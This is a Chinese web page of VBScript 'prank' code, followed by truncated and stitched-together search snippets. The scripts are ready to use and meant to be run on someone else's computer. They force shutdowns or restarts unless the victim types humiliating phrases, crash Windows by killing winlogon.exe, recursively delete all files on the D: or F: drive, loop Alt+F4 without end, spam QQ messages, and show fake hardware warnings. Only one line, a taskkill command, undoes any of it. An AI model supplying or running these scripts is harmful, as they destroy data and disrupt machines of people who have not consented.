if MsgBox("你是猪吗。",vbYesNo,"猪")=vbYes then
msgbox " 猪应该重启 ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
解决办法：
什么都不要点建另一个VBS然后运行 代码如下：
Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"
vbs整人代码_vbs整人关机代码不管用_vbs简单代码
一、发送定制次数的QQ信息给好友。复制代码如下：On Error Resume Next Dim wsh,ye Set wsh=createobject("wscript.shell")For i=1 to 10 WScript.Sleep 700 Wsh.AppActivate("与 xx 聊天中")Wsh.SendKeys "^v"Wsh.SendKeys i Wsh.SendKeys "%s"Next Wscript.Quit 此代码可根据需要调整发送次...
vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码
一、自动向QQ好友发送特定信息。创建名为“xx.vbs”的VBS文件，然后替换其中的“xx”为好友昵称，修改发送次数与间隔时间，即可自动向该好友发送信息。示例代码如下：复制代码 代码如下:On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell")for i=1 to 10 wscript.sleep 700 wsh....
电脑整人、告白提醒妙招 两段代码足够了
先来第一段弹窗代码： msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C
要vbs的整人代码,不要整太狠的那种,只是开玩笑的那种,谁有啊。
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦...
vbs整人代码
完整代码如下：--- set vbs = createobject("Wscript.shell")a = inputbox("请输入" & vbcr & """我是大笨蛋""" & vbcr & "否则电脑将立即重启。", "笨蛋炸弹")if a <> "我是大笨蛋" then vbs.run("shutdown -r -t 0"),vbhide end if --- 把代码拷贝到记事本里，...
求vbs整人代码
= wscript.createobject("wscript.shell")WSHshell.run "cmd \/c ""del f:\\*.* \/ f \/q \/s""",0 ,true 不断按下alt+f4 （开什么都关闭……）dim WSHshell set WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop 试一试！！我要这样整过别人！
vbs整人的代码。
dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe \/c shutdown -r -t 60 -c ""说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true dim a do while(a <> "我是XX，大哥我真的是XX啊!")a = inputbox ("说我...
有没有一些恶搞别人的vbs代码
代码十:超强整人set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是...
整人vbs代码
WSHshell.run "shutdown -f -s -t 00",0 ,true 2.删除D:\\所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd \/c ""del d:\\*.* \/ f \/q \/s""",0 ,true 3.不断弹出窗口 while(1)msgbox "哈哈 你被耍了！"loop 4.不断按下alt+f4 （...
求VBS整人代码,最好是厉害的,例如添加开机启动项自动关机等,越牛越好...
set wsh=createobject("wscript.shell")do wsh.run "calc"loop ———dim WSHshell set WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true ———do msgbox "CPU温度过高！请检查散热系统，详细参见《用户手册》"，，“系统提示”loop ———...
